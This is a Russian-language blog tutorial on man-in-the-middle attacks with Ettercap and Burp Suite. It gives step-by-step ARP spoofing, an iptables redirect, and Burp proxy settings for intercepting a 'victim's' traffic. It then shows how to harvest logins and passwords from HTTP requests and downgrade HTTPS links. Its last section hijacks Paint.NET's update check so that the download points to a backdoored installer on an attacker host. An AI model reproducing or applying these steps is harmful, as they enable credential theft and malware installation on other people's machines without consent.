Использование Burp Suite в сценариях человек-посередине (MitM): сбор информации, перехват паролей, заражение бэкдорами

Burp Suite – это мощный комбайн с графическим интерфейсом. В умелых руках с его помощью можно очень легко делать замечательные вещи. В этой заметке я немного раскрою только одну из его функций.

Burp Suite имеет очень гибкий в настройке HTTP прокси. С его помощью ОЧЕНЬ удобно анализировать запросы и полученные ответы. Ещё Burp Suite имеет замечательную гибкую систему замены передаваемых данных на лету. Если рассматривать другие программы, которые можно было бы применить для этих же целей, то для анализа трафика приходят в голову Wireshark, а для подмены данных собственноручно написанные фильтры (Etterfilter) для Ettercap. Но пытаясь анализировать запросы и соответствующие им ответы в Wireshark (особенно при обильном трафике), можно сломать голову. Писать и компилировать фильтры Ettercap умеют тоже далеко не все. А в прокси Burp Suite всё это можно делать в графическом интерфейсе с огромным количеством опций. Подобная простата и гибкость позволит даже новичкам проводить атаки, которые при использовании других программ доступны только продвинутым тестерам на проникновение.

Небольшое примечание: Все команды в этой инструкции я выполняю от рута.

1. Включение прокси Burp и использование при атаке человек-посередине

Если посмотреть документацию Burp, то там написано, как настроить браузер, чтобы он работал через прокси Burp. Эта полезная для анализа веб-приложений и сайтов функциональность, но мне больше нравится использовать прокси Burp в атаке человек-посередине.

С помощью сторонник приложений вам нужно начать ARP спуфинга. Его суть заключается в том, что компьютер жертвы вместо отправки трафика через роутер начинает думать, что отправлять трафик нужно теперь нам (атакующему). Наша машина переправляет трафик в Интернет, и ответы из Интернета переправляет жертве. Т.е. мы выступаем в роли роутера.

ARP спуфинга можно сделать в графическом интерфейсе. Если вам нужна подсказка, то посмотрите пример запуска Ettercap (там есть скриншоты).

Переключите вашу машину в режим пересылки (форвардинга).

echo "1" > /proc/sys/net/ipv4/ip_forward

Запускаем графический интерфейс (-G):

ettercap -G

В меню выбираем Sniff, далее Unified, выбираем желаемый интерфейс:

Теперь выбираем Hosts, в нём подпункт Scan for hosts. После окончания сканирования выберите Hosts list:

В качестве Цели1 выберите роутер (Add to Target 1), в качестве Цели2 выберите устройство, которое будете атаковать (Add to Target 2).

Теперь переходим к пункту меню Mitm. Там выберите ARP poisoning… Поставьте галочку на Sniff remote connections.

Теперь, когда сниффинг трафика начался, сделаем перенаправление трафика на порт 8080:

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

Запускаем Burp

burpsuite

Переходим во вкладку Proxy -> Options. Там в самом верху в Proxy Listeners нажимаем Add и добавляем новый прослушиватель: на 8080 порту. В качестве Specific Address выберите IP компьютера атакующего (т.е. той машины, где запущен Burp).

02

Здесь же перейдите во вкладку Request handling и поставьте галочку на Support invisible proxying (enable only if needed):

03

Когда добавите новый прослушиватель, поставьте галочку там, где Running (это будет означать, что он задействован в данное время):

61

Теперь спуститесь в самый низ, найдите Allow requests to web interface using fully-qualifyed DNS hostnames и поставьте там галочку:

06

Теперь перейдите в Proxy -> Intercept, отключите его:

05

Теперь должен начаться анализ полученных данных.

21

2. Перехват логинов и паролей в Burp

Анализ данных в прокси Burp очень прост. Например, здесь мы выдим запрос и ответ, которые передаёт и получает LibreOffice при проверке обновлений:

10

А здесь показана удачная базовая аутентификация:

11

Обратите внимание на строку Authorization: Basic cnUtYm9hcmQ6cnUtYm9hcmQ=. В ней (в виде хешей, которые очень легко поддаются брутфорсу), передан логин и пароль для аутентификации.

А на этом скриншоте видно, что выполнен вход на форум:

12

Интересная строка action=dologin&inmembername=f123gh4t6&inpassword=jhRh846Fj&ref=http%3A%2F%2Fforum.ru-board.com%2Fmisc.cgi%3Faction%3Dlogout. В ней присутствует логин и пароль:

inmembername=f123gh4t6
inpassword=jhRh846Fj

Более читаемо в таком виде:

13

Чтобы увеличить количество данных, передаваемых в открытом виде, в настройках прокси поставьте галочку напротив Convert HTTPS links to HTTP.

3. Используем Burp Suite для заражение целевой машины бэкдором

Необязательно ставить именно бэкдор – можно выбрать любую программу.

Алгоритм следующий:

  • ищем запросы с компьютера жертвы, которые сгенерировали программы в поисках обновления;
  • модифицируем полученные ответы, вставляя вместо реальных ссылок на обновлённые программы наш файл с бэкдором.

Эта схема не самая лучшая, поскольку нам придётся долго ждать, пока выйдет обновление какой-нибудь программы, которая установлена на компьютере цели. И даже если мы этого дождёмся, мы можем не успеть среагировать. Поэтому чуть улучшим наш алгоритм:

  • ищем запросы с компьютера жертвы, которые сгенерировали программы в поисках обновления;
  • модифицируем запрос с компьютера жертвы, создавая иллюзию, что обновление запрашивает программа с более низкой версией ИЛИ модифицируем ответ сервера, повышая версию программы, доступную для установки;
  • модифицируем полученные ответы, вставляя вместо реальных ссылок с обновлениями программ наш файл с бэкдором.

На самом деле, имеются ещё варианты:

  • можно полностью модифицировать ответ сервера, предлагая обновления даже для актуальной версии программы;
  • используя DNS прокси можно вообще перенаправить запросы на свой сервер и на запросы об обновлениях отвечать что угодно и когда угодно.

Выбранная стратегия сильно зависит от конкретной программы. Поэтому перед реальной атакой проводите тесты и выбирайте наиболее подходящий вариант действий.

На компьютере жертвы установлена программа Paint.NET (определили по сайту запроса и по передаваемым данным). Вот пример проверки обновлений:

  • Запрос:

31

GET /updates/versions.8.1000.0.x64.ru.txt HTTP/1.1
Host: www.getpaint.net
Connection: close
  • Ответ:

32

HTTP/1.1 200 OK
Content-Length: 558
Content-Type: text/plain
ETag: "22e-528995bee3b40"
Server: Apache
Last-Modified: Tue, 05 Jan 2016 17:13:41 GMT
Connection: close
Date: Fri, 10 Jun 2016 05:12:34 GMT

DownloadPageUrl=http://www.getpaint.net/download.html

StableVersions=4.9.5848.30436
BetaVersions=

4.9.5848.30436_Name=paint.net 4.0.9
4.9.5848.30436_NetFxVersion=4.6
4.9.5848.30436_InfoUrl=http://blog.getpaint.net/2016/01/05/paint-net-4-0-9-is-now-available/
4.9.5848.30436_ZipUrlList=http://www.getpaint.net/updates/zip/paint.net.4.0.9.install.zip,http://www.dotpdn.com/files/paint.net.4.0.9.install.zip
4.9.5848.30436_FullZipUrlList=http://www.getpaint.net/updates/zip/paint.net.4.0.9.install.zip,http://www.dotpdn.com/files/paint.net.4.0.9.install.zip

На целевом компьютере это выглядит так:

33

Подготовить бэкдор на основе имеющегося исполнимого файла можно, например, с помощью программы Backdoor Factory (BDF). Вариантов достаточно много и этой теме можно посвятить отдельную статью, поэтому пока не будем останавливаться на теме подготовки пропатченных исполнимых файлов.

Обратим внимание на строку:

StableVersions=4.9.5848.30436

Это самая свежая версия на сервере. Эту строку программа сравнивает со своей версией и исходя из этого принимает решение – есть обновления или нет.

В Burp переходим в Proxy -> Options. Находим там Match and Replace. Нажимаем Add для добавления нового правила:

34

Request header меняем на Response body. В качестве строки для поиска вставляем 4.9.5848.30436, в качестве строки, на которую менять, вставляем, к примеру, 5.9.5848.30436:

37

Добавляем ещё одно правило. Нам нужно строку http://www.getpaint.net/updates/zip/paint.net.4.0.9.install.zip,http://www.dotpdn.com/files/paint.net.4.0.9.install.zip поменять на что-то наше – на ссылку установщика с бэкдором. Например, на http://192.168.1.35/paint.net.5.0.9.install.zip,http://192.168.1.35/paint.net.5.0.9.install.zip

Добавляем правило:

36

После очередной проверки обновлений, оригинальный ответ:

38

Ответ после нашей модификации:

39

На компьютере жертвы дела обстоят так:

40

Видно, что программа считает, что нужно обновиться, но мы забыли поменять ещё одну запись которая выводиться пользователю – хорошо, что мы всё тестируем заранее ))

Создадим ещё одно правило – нам не трудно:

Меняем строку

Name=paint.net 4.0.9

На

Name=paint.net 5.0.9

72

Теперь на целевой машине:

71

Просто для хохмы:

73

На целевой машине теперь:

74

Чтобы программа сама начала обновление и установку файла, нужно передать ей подобный файл (например, если оригинальные обновления упакованы в zip, то в таком же формате и нужно пересылать установщик с бэкдором, если программа использует протокол HTTP, то его и нужно использовать (а не HTTPS)).

41

Заключение

Burp Suite – это хороший инструмент для тестирования на проникновение веб-приложений. Но, как показано в этом разделе, благодаря гибкости настройки у него могут быть и необычные применения. В данном случае мы рассмотрели насколько удобно и наглядно в прокси Burp Suite можно анализировать HTTP трафик. А также как его легко модифицировать. Модифицировать можно ответы/запросы/заголовки/тело. Можно просто блокировать соединения по определённым параметрам. В общем, Burp Suite – это инструмент с большим количеством возможностей, но для полного использования его функционала необходимо углублённое изучение методов работы и стратегий в Burp.

При подготовке материала я подглядывал сюда (Owning the girl next-door) и сюда (Using Burp Suite in MITM Scenarios):

Рекомендуемые статьи:

2 комментария to Использование Burp Suite в сценариях человек-посередине (MitM): сбор информации, перехват паролей, заражение бэкдорами

  1. Pozik:

    Никак не хочет он у меня начать анализ, тоесть нет никаких входяших данных. Ettercap работает, urlsnarf, driftnet работают. Может ли быть из-за интерфейса wlan0 ?

    Версия 1.7.03.

    Запускал от имени рута.

Добавить комментарий

Ваш e-mail не будет опубликован.